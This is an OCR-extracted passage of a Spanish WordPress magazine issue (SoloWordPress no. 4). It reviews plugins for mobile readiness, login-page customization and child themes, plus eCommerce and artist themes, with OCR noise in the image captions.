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EDITORIAL

Bienvenido a la
Revista SOLOWORDPRESS

Aqui tenemos el numero 4 de la revista SoLoWordPress. Gracias a
todos los que hacéis posible que esto siga adelante. Desde
SOLOWORDPRESS esperamos que 0s guste este numero.

iPedimos disculpas por el retraso! La actual situacién ha traido,
inconvenientes inesperados, que han retrasado los proyectos.
Esperamos poder normalizar la aparicion de los préximos ndmeros.

Permitirme gradecer especialmente el esfuerzo a nuestro editor
habitual, Adrian A., que esperamos se pueda reincorporar pronto

SslsWsrdpress

Adrian A. A. /Henry G.R.

Aylldanos a crecer, vota por
SoloLinux en la siguiente
encuesta.

Graclas por colaborar.

Siguenos en las Redes:

Esta revista es de distribucion gratuita, si lo consideras
oportuno puedes ponerle precio.
Tu también puedes ayudar, contamos con la posibilidad de
hacer donaciones para la REVISTA, de manera muy simple a
través de PAYPAL

La revista
SOLOWORDPRESS
esta realizada con Libre
Office Impress 6.2.8.

AYUDANOS A SEGUIR CRECIENDO

PayPal
Nuestras Webs: y e

Apoyo con una donacion
www.sololinux.es

www.solowordpress.es
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. Henry G. R
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Para mayor informacion
escribe un email a:
adrian@sololinux.es

La Revista
SOLOWORDPRESS, se
distribuye gratuitamente en
forma digital para todo el
mundo que quiere disfrutar
de ella. Si quieres
imprimirla es cosa tuya.

Si os cobran por ella, os
estan timando. :)

Contacto:

Para cualquier consulta
sobre las revistas,
publicidad o colaboraciones
escribir un email a:
adrian@sololinux.es

Esta obra se publica bajo
una licencia de Creative
Commons Reconocimiento-
Compartir-lgual 4.0
Internacional.
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PLUGINS

Hacer que WordPress esté listo para movil

Resulta interesante que la evolucién de los dispositivos moviles (teléfonos «inteligentes», moéviles o celulares, tabletas) ha llevado
a que debamos estar listos para estos.

Y esta moda llega hasta el punto de que si no lo estamos, nuestro sito web es como si no existiera.
La mayoria de los temas actuales para WordPress, ya estan preparados (hasta un punto) para manejar esta situacion.

Hacer que WordPress esté listo para mévil.
Como en todos los casos en que se plantea un «problema» en informatica, no hay una Unica solucion.

Dependiendo de «el punto de arranque»
hay que abordar la solucién de una
manera u otra y hay que hacer unos u
otros cambios.

De forma genérica, a la capacidad de
hacer que una pagina web, o un sitio
entero, sea adecuado para ser visitado
desde distintos dispositivos, lo
€CONOCEMOS COMO «Fesponsivo».

Un sitio es «responsivo» si puede
verse igual (o muy parecido) con una
pantalla de 5 pulgadas o una de 25
pulgadas.

También se aplica para la vision en
«vertical» u «horizontal».

Tema responsivo

Gran parte de los temas modernos, esta
preparado desde el inicio de su
instalacion, para hacer que el sitio
resulte responsivo.

En la mayoria de los casos, esto se hace con una mezcla de tecnologias, se usa javascript  para conocer el dispositivo en
donde se visualiza el sitio.

solowordpress.es

A continuacion se realiza una comunicacion con el servidor que se conoce como tecnologia AJAX y el servidor realiza los ajustes
necesarios o simplemente, el javascript  decide cambiar el aspecto cambiando la presentacion, o sea, el CSS.

En otros casos, el codigo de presentacion CSS esta escrito de tal forma que reconoce el tamafio de la pantalla del dispositivo de
visualizacién y decide usar un tipo u otro de presentacion.

Pero ¢qué pasa si el tema que llevas usando afios y que te encanta para tu bitacora, no es responsivo?

Plugins al rescate
En algunos casos, el tema que se esta usando no es responsivo, pero eso no significa que debas tirar la toalla y buscar
desesperadamente un nuevo tema.

Si, es cierto que usar un Tema responsivo, es mas rapido y necesita menos intervencion de la potencia del servidor, pero hay
casos en que se justifica.

Yo te presento unas cuantas soluciones, tu escoge la que te parezca oportuna.
WPtouch

Este plugin se ha instalado y funciona satisfactoriamente en WPtOUCh
mas de 500.000 sitios web. s

st popular WordPress mobile
solution, eight years running.

Pero antes de lanzar las campanas al vuelo, una advertencia:
Este plugin no se ha probado con las Ultimas 3 versiones
mayores de WordPress. Puede que ya no tenga soporte ni lo
mantenga nadie, o puede que tenga problemas de
compatibilidad cuando se usa con las versiones mas recientes

de WordPress. E WPtouch e
Por WPtouch

SOLOWORDPRESS 6



PLUGINS

Hay que avisar, aunque yo he hecho pruebas y funciona, Any Mobile Theme Switcher
puede que en algin momento deje de hacerlo.

Afortunadamente, este plugin tiene traduccion completa al
espafiol, por lo que resulta facil manejar su ajuste.

Una de las cosas interesantes es que puedes definir en qué
momento se produce la magia; puedes decidir cual es el
tamafio de la pantalla que se considera un dispositivo movil.

El plugin se encarga de detectar cuando un visitante esta Any Mobile Theme Switcher
usando un movil y le ofrece una visién optimizada del sitio. _[Z]_ o Dinesh Karki
Puedes descargarlo desde el repositorio de WordPress: Al igual que el primero de la lista, este plugin no se ha
(https://es.wordpress.org/plugins/wptouch/) probado con las Ultimas 3 versiones mayores de WordPress.
Puede que ya no tenga soporte ni lo mantenga nadie, o puede
WordPress Mobile Pack gue tenga problemas de compatibilidad cuando se usa con las
- versiones mas recientes de WordPress.

WordPress Mobile Pack Este es un plugin que me llamé la atencién por dos razones:
Progressive Web Apps & Hybrid Mobilz Apps

La primera es su funcion para presentar un tema distinto del
tema principal o, de pantalla grande, del tema movil, de forma
que los sitios parecen distintos, si quieres.

La segunda, es que puedes escoger el tema que quieres usar
para cada dispositivo, de forma independiente.

WaordPress Mobile Pack - Mobile Plugin for ProgrESSive

Web Apps & Hybrid MobicApps Los dispositivos reconocidos y que pueden tener «su propio
e tema» son:
Este plugin transforma tu sitio en una aplicacion de Web * Iphone /Ipod
Progresiva para movil. * Ipad
* Palm Os
Es compatible con dispositivos Android e i0OS y con los * Android
navegadores mas populares como Google Chrome o * Android Tab
Safari . *  Windows Mobile
*  Blackberry
Claro que preguntaras ¢ Qué es eso de Web Progresiva? vale, *  Opera Mini
pues algunas caracteristicas que te daran una idea son: *  Otros dispositivos moviles
* Laaplicacion carga de forma casi instantanea,
independientemente de la conexioén que tengas. La desaparicién de alguno de estos dispositivos en el
* Lafuncion de mensajes «push» permiten que el usuario mercado activo, ha hecho obsoleto en cierta medida este
del mdvil siga un enlace y vuelva a tu pagina agilmente, plugin, pero lo cierto es que aln existen muchos usuarios con
aun cuando el navegador esté apagado. estos dispositivos.
* Las animaciones, el desplazamiento vertical u horizontal
se presentan y realizan su funcién suavemente. Puedes descargarlo desde el repositorio de WordPress:
* Laconexion se realiza siempre bajo protocolo https https://es.wordpress.org/plugins/search/Any-Mobile-Theme-Switcher/

* La pégina se hace «responsiva».

Como casi siempre, existe una version de pago llamada
WordPress Mobile Pack PRO que ofrece un conjunto mayor
de posibilidades y de configuraciones.

Es un producto interesante, aunque a mi entender es
demasiado pesado.

Puedes descargarlo desde el repositorio de WordPress:
(https://es.wordpress.org/plugins/wordpress-mobile-pack/)

SulsWrdpress
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PLUGINS

Smush - Compress, Optimize and Lazy Load Images

: P:.t.'rc.'rié
~“MADNES:

G Smush - Compress, Optimize and Lazy Load Images
Por WPMU DEV

Este es un plugin distinto, no convierte temas ni manipula el
tema en forma alguna, simplemente hace su trabajo
optimizando las imagenes de tu sitio.

.

Al estar optimizadas, las imagenes cargan mucho mas rapido
en los dispositivos, entre ellos, los méviles.

Ademas, ofrece lo que se conoce como «Lazy Load» o
«Carga perezosa» 0 «Carga en diferido» que no es otra cosa
que detectar cuando una imagen debe estar en la pantalla 'y
enviarla, mientras tanto, el tema se limita a guardar el sitio
donde estara.

La utilidad para los dispositivos méviles, es que al detectar el
tamafio de la pantalla, te permite fijar las reglas para enviar un
tamafio maximo de imagen comprimida, en funcion de las
dimensiones de la pantalla.

Puedes descargarlo desde el repositorio de WordPress:
(https://es.wordpress.org/plugins/wp-smushit/)

Max Mega Menu

% max
L J meaamenu

solowordpres$)

@ Max Mega Menu

Una de las partes mas olvidadas cuando se hacen arreglo
para encajar un tema en un dispositivo mévil, es el mena.

Casi siempre se presta mucha atencién a las imagenes y
elementos decorativos o incluso a los colores, pero resulta
muy desagradable a un usuario, encontrar que los menus de
las paginas resultan demasiado grandes para la pantalla y son
ilegibles u ocupan tres lineas.

Tiene muchas opciones para la re-colocacion de los mendus,
creacion de menu de hamburguesa, menus persistentes,
etcétera, y por suerte, este plugin esta disponible en espafiol.

Puedes descargarlo desde el repositorio de WordPress:
(https://es.wordpress.org/plugins/megamenu/)

Descargar

Favicon by RealFaviconGenerator

Your WordPress site deserves an awesome favicon
Make sure it looks great everywhere

solowordpress.es

M Favicon by RealFaviconGenerator
Por Philippe Bernard

Este es un caso interesante, aunque todos los temas
modernos traen un apartado en su personalizacion de
apariencia para insertar el icono del sitio, algunos van un paso
mas alld y usan este icono para construir un «favicon».

Otros directamente, te permiten definir el «favicon» para tu
sitio, que normalmente se llama favicon.ico

El favicon no es otra cosa que un icono que identifica a tu
sitio, si bien es cierto que suele ser una imagen de pequefias
dimensiones, el que se usa en las pestafas del navegador
suele tener como maximo un tamafio de 32 pixel por 32 pixel.

Este plugin puede usar imagenes mucho mayores, digamos
de 200px por 200px, para crear el «favicon» de tu sitio.

La razdn de mencionar este plugin en este grupo, es que una
vez activado y personalizado, detecta el tipo de dispositivo
gue accede a tu sitio y cambia la cabecera htm| de forma
dinamica, para ofrecer el mejor y optimizado favicon.ico

De esta forma, el usuario de dispositivo movil puede identificar
facil y rapidamente tu sitio, con independencia de la url que
maneje o de si se encuentra entre una lista de sitios visitados.

Puedes descargarlo desde el repositorio de WordPress:
(https://es.wordpress.org/plugins/favicon-by-realfavicongenerator/)

Bonus track

Jejeje @ Permitirme la referencia a la mudsica (me encanta)
aunque ya no se vendan y pocos sepan lo que son los
Albumes, los CD y, mucho menos, los vinilos.

Si quieres comprobar si tu sitio esta preparado para los
dispositivos moviles (antes o después de tomar medidas)
tienes un servicio de prueba llamado

«Google Mobile Frienly Test»

Este servicio te dira si tu sitio esta optimizado para moviles y,
genera un reporte de los fallos (si los hay) para que puedas
corregirlos.

Conclusién

Con la esperanza de que esto te sirva para sacar el mejor
partido de tu WordPress, al tiempo que aumentas tus
visitantes de dispositivos mdviles y por tanto, mas ventas o
lectores o lo que proceda para aumentar tu beneficio.

Canales de Telegram: Canal SoloLinux — Canal SoloWordpress
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Cambiar la pantalla de ingreso a WordPress

Porqué es importante cambiar la pantalla de ingreso a WordPress.
Esta respuesta la debes realizar t0; yo puedo, como mucho, apuntar algunas

razones:

* Por estética, para que mantenga el aspecto general de tu marca.
*  Por seguridad, para que cumpla con los requisitos estandar de tu negocio.
* Por fardar, para que todos vean que también puedes hacer cosas especiales.

Por que puedes.

Sea cual sea tu razén, puedes hacerlo de dos formas, una facil instalando y
configurando un plugin, y otra menos facil, manualmente, programando.

La forma facil.

En WordPress siempre hay una forma facil de hacer las cosas, que consiste en la

instalacion, activacion y personalizacion de un plugin.

La pregunta mas dificil es ¢ qué plugin necesito?

Te voy a presentar unos cuantos plugin para cambiar la pantalla de ingreso a
WordPress. El orden de presentacion NO significa su mayor o menor

recomendacion, s6lo que estan en ese desorden.

Custom Login Page Customizer.

Colorlib Login
Customizer

Customize your login page

solowordpress

SIGN IN

& imTniisi

B

Custom Login Page Customizer by Colorlib

Se trata de un plugin de la compaifiia Colorlib, que tiene una
larga trayectoria desarrollando.

Es posiblemente, el plugin mas completo para cambiar la

pantalla de ingreso a WordPress. Contiene en un sélo paquete

toda la funcionalidad que se encuentra en plugins de pago, a
pesar de ser gratuito.

Este plugin te permite cambiar cosas como:
* El color de los campos.

* El borde de los campos.

La forma y el aspecto del boton.

Si la pantalla tiene una o dos columnas.
El color o la imagen de fondo.

El logotipo.

Puedes descargar este plugin desde el repositorio de
WordPress
(https://es.wordpress.org/plugins/colorlib-login-customizer/) .

Password

I'm not a robat

Remember Me

r passward?

(2
2
o
U'l

solowordpre

Custom Login

->
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Custom Login
* Par Ben Glllbanks

Sencillo nombre para un plugin sin més pretensiones que
hacer lo que se le pide.

Si bien no esta disponible en espafiol, su sencillo manejo no
presenta muchas dificultades; tras ser activado, aparece un
nuevo mend Ajustes -> Custom login  , donde puedes
personalizar cosas como:

* Laimagen de fondo del formulario.

* Laimagen de fondo de la pagina.

e La posicion vertical del formulario.

* La posicién horizontal del formulario.

¢ Los colores del texto, los enlaces, las sombras.

Puedes descargar este plugin desde el repositorio de
WordPress
(https://es.wordpress.org/plugins/bm-custom-login/) .

SOLOWORDPRES
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Erident Custom Login and Dashboard

Complete Brandin
your Login Page !!!

Cuatomize alemosl eoerilittn ...
solowordpress.es

@ .Elrilc.ileﬂ;cliustom Login and Dashboard IR

Este plugin es uno de los méas famosos que realizan esta
tarea, ya que cuenta con un monton de de posibilidades que
incluyen la mayoria de las que hacen otros y unas propias
muy llamativas como:

* Seleccionar un tipo de fuente.

* Afadir animaciones.

* Afiadir cambio en la opacidad de textos e imagenes.

* Afadir colores con degradado.

Pero hay que sefialar dos caracteristicas importantes,: la
capacidad para cambiar el color del escritorio de
administracion y, la capacidad de importar y exportar los
ajustes creados, lo que lo hace magnifico para cuando se
trabaja con mdltiples sitios.

Puedes descargar este plugin desde el repositorio de
WordPress
https://es.wordpress.org/plugins/erident-custom-login-and-dashboard/

User Registration - Custom Registration Form, Login And
User Profile For WordPress

W |!’.

User Registration

:
solowordprass gy

. User Registration - Custom Registration Form, Login Descargar
M And User Profile For WordPress

Dor WiEverest

(+}

Este plugin con nombre tan largo, hara las delicias de los que
gustan del disefio por bloques.

Permite disefiar la pagina de acceso y el formulario, no sélo
en varias columnas, sino con varios campos y en forma
dindmica.

Diferentes usuarios pueden tener diferentes campos, con
diferente disposicion y diferente aspecto.

Puedes descargar este plugin desde el repositorio de
WordPress (https://es.wordpress.org/plugins/user-registration/)

Custom Login Page Customizer — LoginPress

S M LoginPress

s
- Secure . Rebrand . Customize

[ R N -
solowordpre WP rgace
| ==

Customn Login Page Customizer

Por WPBrigade

s N )

=

5
LoginPress

Este plugin podria ser como cualquier otro de la lista, hace las
mismas cosas.

Pero a diferencia de otros, permite cambiar el texto del
mensaje de error, asi que podras decir a los que acceden,
«Por favor, mete bien el dedo, esa no es la contrasefia.», o lo
que quieras.

Puedes ver los cambios que haces a la pagina de acceso, en
directo, ya que la pantalla de personalizacién muestra los
cambios segun se hacen.

Puedes descargar este plugin desde el repositorio de
WordPress (https://es.wordpress.org/plugins/loginpress/).

Admin Custom Login

Wekliza

Al igual que todos sus competidores, la funcion de este plugin
es cambiar la pantalla de ingreso a WordPress.

Este se diferencia en algunos puntos interesantes:

* Permite insertar un carrusel como imagen de fondo.

* Permite redirigir a los usuarios a diferentes paginas, en
funcion de su rol (Editor, Administrador, etc.).

* Permite afiadir conectividad con un enlace a las redes
sociales méas conocidas.

* Disefio responsivo desde el comienzo.

* Integracion de «Google Fonts» para escoger el cambio de
fuente.

Puedes descargar este plugin desde el repositorio de
WordPress
(https://es.wordpress.org/plugins/admin-custom-login/).

SOLOWORDPRESS
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Simple Login Page Customizer

sellaWeirelpre 3

Matt Shirk

Simple Login Page Customizer m

Quiza uno de los mas simples, perddn, sencillos de esta lista.

No realiza alardes de visién en directo de los cambios, ni tiene
multiples columnas, se configura en una sencilla pagina.

Pero eso no significa que no cumple su funcién o que no sea
potente, es simplemente, minimalista.

Puedes descargar este plugin desde el repositorio de
WordPress
(https://es.wordpress.org/plugins/simple-login-page-customizer/).

La forma menos facil.

Como en todos los casos, cuando se quiere hacer un cambio
en WordPress, hay formas faciles como es la instalaciéon de un
plugin, y menos faciles como es el programar lo que
gueremos.

En este caso, la forma menos facil, también es programando
pero, consta de dos partes o, mejor dicho, hay dos formas de
hacerlo.

El wp-login.php

El primer método consiste en cambiar la programacion del
archivo php-login.php lo cual desaconsejo absolutamente
por dos razones:

1. No es una buena practica de desarrollo, ya que este
archivo forma parte del «core» de WordPress.

2. Cualquier cambio que hagas en este archivo, sera
reemplazado por el nuevo archivo que aparezca en
una actualizacion de WordPress, sin previo aviso, ya
que este archivo forma parte del «core» de
WordPress.

miplugin.php

El segundo método es crear tu mismo un plugin que haga esta
labor. Puedes dejar volar tu imaginacién e incorporar cosas
como imagenes en movimiento o colores imposibles (tu
mismo). Una vez que actives el plugin, tus cambios estaran
incorporados inmediatamente.

Béasicamente esta es la forma correcta de hacer las cosas y
tus cambios no se veran afectados por las actualizaciones.

Conclusioén
Ya vimos cémo cambiar la pantalla de ingreso a WordPress de
forma facil en el articulo Mi primer plugin de WordPress.

No es tan dificil cambiar la programacion, y tu plugin tendria
que reescribir la funcion wp _login_form o sus parametros.

Puedes encontrar mas informacion sobre esta funcién en el
codex (en inglés).

Q
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Crear un Tema hijo de WordPress facil

Child Theme Configurator

Realmente el crear un Tema hijo para WordPress es una
practica muy recomendada y una de las méas provechosas y
gratificantes.

Ciertamente no contempla mayores complicaciones, como ya
he explicado en varias ocasiones; puedes leer la entrada de:
Cémo crear un Tema hijo en WordPress.

Pero en esta ocasién vamos a ver una forma aln mas facil, se
trata de la instalacién de un plugin que realice la tarea por
Nnosotros.

Crear un Tema hijo de WordPress facil.
Si, también existen plugins para esta labor. Para facilitarte la
tarea de la creacién de los archivos y directorios necesarios.

Crear un tema hijo no se considera una tarea dificil, pero si es
cierto que ademas de la creacion de unos pocos archivos, hay
gue seguir unas pocas normas para hacer las cosas
correctamente.

Aun mas facil.

Hace poco conversando con mi padre, sobre la creacion de
una pagina web, me hizo un observacién que no deja de ser
una obviedad, pero que solemos pasar por alto: «Todo es facil
cuando lo conoces».

Para mi resulta facil hablar sobre este tema, porque lo he
hecho muchas veces y conozco sus detalles, pero no todos lo
conocen.

Muchas veces se dan las cosas por sabidas, un programador
que lleva trabajando 20 afios con lenguajes como Cobol o
C++0 Java , no tiene porque saber de html, CSS, o PHPYy,
aunque pueda tener cierta ventaja al aprender esos nuevos
lenguajes y métodos sobre alguien que no sepa nada de
informatica, no significa que «lo sepa todo».

Asi que te voy a presentar a continuacion unos cuantos plugin
que te facilitaran la tarea de crear un Tema hijo de WordPress
facil.

solowordpress.es

Child Theme Configurator

laea Media

Es una herramienta rapida y facil de usar que te permite
analizar cualquier tema para solucionar los problemas
comunes, crear un tema hijo y personalizarlo mas alla de las
opciones del personalizador.

Cuenta con una opcién muy interesante en su version de pago
y es que, analiza la hoja de estilos de los plugin que tengas
instalados y te permite modificarlas para adecuarlos a tu tema.

Este plugin te permite ademas cosas como:

* Actualizar Temas sin perder las personalizaciones.

* Determinar los ajustes correctos a usar.

*  Usar «webfonts» en el tema hijo.

* Registrar varias hojas de estilo style.css
lugar de usar @import.

e Personalizar @ medigara disefios responsivo de los
Temas.

* Exportar los temas hijo a un archivo Zip.

el la cola, en

Puedes descargar este plugin desde el repositorio de
WordPress
(https://es.wordpress.org/plugins/child-theme-configurator/) .

‘% meet your friendly
B

Child Theme Wizard

— ot LW

/. L
ALt T e H11 g cirels Solinl!?
V solowordpradacmss in asingle “click

W, Child Theme Wizard

w Vsl

Child Theme Wizard

Si no es el mas sencillo, uno de los mas, no tiene ajustes
adicionales ni nada parecido, simplemente hace lo que se le
pide.

Una simple pagina en la que debes introducir los datos
basicos, es suficiente para que este plugin trabaje. Pediste
Crear un Tema hijo de WordPress facil, pues este no puede
ser més féacil.

Si acaso, se le puede achacar que aun no ha sido traducido al

espafiol, ni esta preparado. Tras activarse, solicita los datos

para crear el tema hijo:

*  Father Theme — Tema padre (el selector a la derecha
contiene todos los temas instalados).

e Title — Titulo (Aqui introduces el nombre que quieres dar a
tu Tema hijo).

*  Description — Descripcion (aqui introduces una breve
descripcion de tu Tema)

*  Child Theme URL — URL del Tema hijo (por si tienes un
sitio web).

*  Author — Autor (Nombre del autor / tu nombre).

*  Author URL — URL del Autor (Tu pagina personal).

* Version — Version (La version que quieras especificar).

* Include GPL license — Incluir licencia GPL (¢ Quieres que
se incluya una copia de la licencia GPL en la
documentacion?).

Puedes descargar este plugin desde el repositorio de
WordPress
(https://es.wordpress.org/plugins/child-theme-wizard/).

SOLOWORDPRESS
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PLUGINS

Child Theme Check

Vale, este no es un plugin para crear un Chilg-Theme-Check B

Tema hijo, es un plugin para tu Rt e
seguridad con un Tema hijo. -
Sty frimars £70 cha ot v o g Bt — S
La finalidad de este plugin es la de L e pgbeas e
comprobar que tu tema esta 5 Mnion et 30 .
actualizado correctamente. El = BT vt et e 8 e T
inconveniente es que no esta traducido ZE’}ULD‘JVD rd p rass.as
al espafiol, adn.

Para poner un ejemplo, suponte que el
tema padre lanz6 una actualizacion y

desestimé uno de los archivos, si ha Child Theme Check m
sido por un problema de seguridad, '

iz4 esté . Par Torsten Landsiede!
quiza estes en riesgo.

Conclusién
Realmente crear un Tema hijo es una tarea tan sencilla que no nec
facilitarte la tarea, pero el tiempo y esfuerzo dedicados para est

si, hay algunos plugin que intentan

Creo que serd mas facil y entretenido que te dediques a por tu cuenta, lo agradeceras.

Si acaso, puedes buscar mas informacion ejempl
https://es.wordpress.org/plugins/tags/child-the

ordPress, en:

dpress
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TEMA

Los mejores Temas para eCommerce de WordPress

Existen un montén de formas de hacer comparaciones y de hacer listas, segun el criterio de cada uno.

Esto nos deja con que la lista de los mejores segin mi criterio, puede no ser la que harias tu. Pero en fin, voy a presentarte unos

cuantos Temas y luego, tu decides.

El tema del eCommerce es amplio y complejo, pero para entendernos, digamos que hablo de aquellos Temas que estan
inicialmente disefiados para facilitarte la puesta en marcha y explotacion de una «tienda electronica».

Recuerda que salvo excepciones, instalar un Tema preparado para eCommerce, no significa que ya tengas la tienda, te faltara
incorporar el motor de la Tienda, la(s) pasarela(s) de pago, etcétera.

Leto

LetO Por athemes

Leto flog  Myacourt  Shen Logn dagertne Y,y O3

solowordors

¢

(o
(G

Frow Doty 20 Diys Bwhirn

Easuira Pagmard 2417 Suppert
P orders s et Deeted izt

ks

Best sellers

sy, — R .

Lo he puesto el primero de la lista, para mi es el nimero uno
indiscutible pero no porque los demas no merezcan el niimero
uno, sino porque soélo puede haber un namero 1.

El Tema Leto, ofrece muchas y buenas herramientas de forma
gratuita y una configuracién muy atractiva.

Se trata de un Tema con una disposicién de los elementos
moderna, clara, con una cabecera de gran dimension que
permite presentar, por ejemplo las promociones o las ofertas.

Este Tema es compatible con la tienda « > 1o
gue lo hace perfecto para cualquier clase de tienda.

Puedes descargar este Tema desde el repositorio de
WordPress (https://es.wordpress.org/themes/leto/).

S@l@LnuX

Neve
N e\fe Por Themeisle
mﬂwe e e mos Bor oSt
Create and grow your website
fast, with Neve
50 lo\;vordyr,lza. 155,85
Ve s ""‘ém ‘S

190% Saotisfaction

Fined price projects Receive on time

Escoger Neve es jugar sobre seguro, es un Tema ligero,
rapido y facil de personalizar, ideal para quien no quiere
muchas complicaciones.

Cuando hablamos de «tiendas electronicas», la rapidez es
factor fundamental y en este apartado, Neve destaca.

Ademas, Neve esta preparado para funcionar con dispositivos
moéviles, ya que incorpora la tecnologia compatible con AMP.

La personalizacion de este Tema, incluye los cambios de
color, cambios de fuentes y (limitada) edicién del logotipo de
tu empresa.

Puedes descargar este Tema desde el repositorio de
WordPress (https://es.wordpress.org/themes/neve/).

SOLOWORDPRESS



TEMAS

Ecommerce Gem

eCommerce GeMm rorerovesigns

sCommerce Gem MOITH MR - wMACOUNT CMGGOREE ¢ WOT  OMIACTGE

Rings
MEGA SALE

50% OFF

ON DROER ABOVE 5509

No te dejes engafiar por su nombre, el hecho de que esté en
la lista de Los mejores Temas para eCommerce de
WordPress, no es coincidencia. ©

Es un tema multi propdsito, pero se integra muy bien con
« >; ya que esta disefiado con esta labor en
mente.

Una de las caracteristicas que destacan con este Tema, es el
disefio de su buscador, que lo hace muy apropiado para
buscar productos por diferentes categorias.

La version gratuita ya es suficiente para explotar un negocio
virtual pero aun hay mas en la version de pago, que integra
mas posibilidades de sistemas de pago, mas
personalizaciones, etc.

Es un tema, en cualquiera de sus versiones, absolutamente
responsivo y cuenta ademas con atencion a las redes sociales
y un carrusel a pleno tamafio, para exposicion.

Puedes descargar este Tema desde el repositorio de
WordPress
(https://es.wordpress.org/themes/ecommerce-gem/).

eStore

e St O r e Por ThemeGrill

MEW JEANS AVAILABLE ON MARKET

At | iie : T30 50

MEN COLLECTION

19

El Tema eStore desarrollado por «ThemeGrill», es lo que se
suele llamar un Tema «pulcro» para crear una «tienda
electronica».

A pesar de ser liviano, es un tema compatible tanto con
« »>CO0MO con «
».

No solo te permite que tus clientes creen una lista de deseos
para volver mas tarde a tu tienda, sino que te permite crear
categorias y colecciones que podran listar en una misma
pagina.

Es un Tema visualmente muy atractivo y por supuesto
responsivo, que funciona muy bien en cualquier dispositivo.

Incorpora hasta 10 widgets que te permiten por ejemplo, tener
10 departamentos distintos mas 12 widgets que puedes
personalizar para presentar categorias o diferentes modelos.

Puedes descargar este Tema desde el repositorio de
WordPress (https://es.wordpress.org/themes/estore/).

EightStore Lite

EightStore Lite s soegee memes

= - oooo
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Su nombre nos dice que es la versién pequefia, aunque es el
Unico o casi el Unico, que ofrece una serie de posibilidades
interesantes en el «frontend» (en el lado del usuario).

Pero vamos por partes, es un tema basicamente visual en su
interface, con grandes cabeceras, carruseles e imagenes
pequefias y descriptivas con enlaces.

Ofrece una variedad de carteles para crear promociones y
anunciar eventos. Todo esto, con creacion visual, sin
necesidad de entrar cédigo alguno.

Es por supuesto, totalmente responsivo incluso con los
comentarios de los usuarios que se presentan graciosamente
hasta en los dispositivos mas pequefios.

Es de destacar también, que esta preparado para trabajar con
multiples idiomas y, una caracteristica poco comun, esta
preparado para integrarse con

Puedes descargar este Tema desde el repositorio de
WordPress (https://es.wordpress.org/themes/eightstore-lite/).

SOLOWORD
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TEMA

Trusted

Trusted roruw

(12} SE5-0001

f

5‘3.9! 1
/.

@ welcome ta Trusted

solowo rdgre
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Trusted es simple pero elegante y totalmente responsivo. Ha
sido disefiado para ser moderno y fresco y es adecuado para
muchos tipos de sitios web, blogs o tiendas de comercio
electrénico.

Esta disefiado para integrarse con el plugin WooCommerce
para darle a tu sitio un atractivo escaparate. Los colores
pueden cambiarse en el personalizador y previsualizarse
rapidamente en tiempo real.

El tema Trusted también viene con 9 (nueve) areas de widgets
que incluyen 4 (cuatro) barras laterales distintas para blog,
pagina, pagina de inicio y tienda.

La idea es que simplemente sea fiable.

Puedes descargar este Tema desde el repositorio de
WordPress (https://es.wordpress.org/themes/trusted/).

Make

Make Weme oy Mhewi  Comsa

Free Page Builder

Drag and drop layouts. No coding required.

Trusted by 800,000+ users.

solowordpress.es

Powerful Base Theme

Cixh your motibe gveme — the Make's openspurce. reaadle
Mane Layous Enging uses & mo- code, Iniine coturmentation and
ke first grid-based archites & o ity are
that rendery beautfully lormiatied 4 drearm fo frosancers and ndis
Contert. an phones, Tabiets. ang ARRROES ID0LING 10 uD el game.
d2Skiop MONOVs. YOur visiers BUllll faster, srmarter Chent sies

Flexible Style Controls

o nieed L Ke#T @ iew complicak
ed interface. The intuitve Make
Layout Enging was desgned to
ook, fnel. and work just ke a
TTWE COmpOnent of your Worg
Press page editor. I OIer wores

Developer Friendly

Quiza podia haber empezado la lista con este Tema, es
impresionante. Es realmente elegante y bonito en su disefio.

Es un Tema multi propdésito, con una impresionante lista de
funciones y la habilidad para integrar varios motores de
«tienda electrénica» como WooCommerce.

Aungue yo lo he usado con éxito en creacion de paginas de
negocio, funciona muy bien como eCommerce (segin me han
contado).

Su funcionalidad de creacion de péaginas con tecnologia de
«arrastar y soltar», hacen de Make un Tema de facil manejo
par cualquiera.

Cuenta con mas de cien posibilidades predefinidas y puedes
escoger entre mas de 600 fuentes de Google.

Puedes descargar este Tema desde el repositorio de
WordPress (https://es.wordpress.org/themes/make/).

ShoppingCart

ShoppingCart s meme rreesi
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Es un tema multi propdésito, pero entre sus ejemplos vienen
tiendas de joyeria y una tienda de moda de vestir.

Como no puede ser de otra forma en un Tema moderno, es
totalmente responsivo y esta preparado para trabajar en
multiples idiomas.

Una de las cosas a destacar es que cuenta con una pagina
principal con multiples menus de navegacion, que pueden
situarse en distintos widgets.

Puedes descargar este Tema desde el repositorio de
WordPress (https://es.wordpress.org/themes/shoppingcart/).

Conclusién

El mayor inconveniente que tiene establecer una tienda
electrénica, es decidirse entre la cantidad de temas que
tenemos disponibles.

Aparte del dilema de escoger entre Los mejores Temas para
comercio electronico de WordPress, ¢,Qué quieres vender en
tu sitio?

Si quieres puedes buscar otros temas, recuerda que en el
repositorio de WordPress hay muchos: (
https://es.wordpress.org/themes/).

SOLOWORDPRESS

16



TEMAS

Los mejores Temas para artistas de WordPress

Los mejores Temas para Artistas de WordPress.

A veces es dificil encontrar el tema perfecto que pueda
mostrar tu creatividad y talento. Desearias un tema que pueda
ayudarte a mostrar tu cartera de arte, galeria de fotos y
gréficos visuales profesionalmente. Tienes derecho.

WordPress es el creador de sitios web mas popular entre
artistas, ilustradores, disefiadores y otros profesionales
creativos. Principalmente, porque es facil de usar y muy
flexible.

Es cierto que practicamente cualquier Tema es candidato a
ser adaptado (con ciertos conocimientos) a cualquier

necesidad, pero hay algunos que tienen mayor facilidad para
ser usados por los Artistas sin hacer muchos cambios.

Astra

AStra Por Brainstorm Force

QQSTRA Home About Shop Blog Contact W

Build Your

= 2 =

Lorem lpsum Laborio Samn Impat Repolle

adecuado para artistas visuales y gente creativa. Viene con
docenas de plantillas de sitio web listas para usar que te
permiten crear instantdneamente cualquier tipo de sitio web.

Astra es un tema rapido, totalmente personalizable y bonito,
adecuado para blogs, porfolios personales, sitios de negocios
y tiendas.

Es muy ligero (menos de 50KB en portada) y ofrece una
velocidad sin igual.

Este Tema es compatible con la tienda « 2 lo
gue lo hace perfecto para cualquier clase de venta electronica.

Puedes descargar este Tema desde el repositorio de
WordPress (https://es.wordpress.org/themes/astra/).

% 7

solowordpress.es

l€mas para Artistas

OceanWP
O C ea m W P Por oceanwp

OceanWP

Unlock Your
Potential...

e

solowordp

OceanWP es el tema pertecto para tu proyecto de arte. Es
ligero y muy extensible, te permite crear cualquier tipo de sitio,
como un blog, portafolio, web corporativa o tienda de
WooCommerce con un disefio hermoso y profesional.

Muy rapido, adaptable, preparado para RTL y listo para
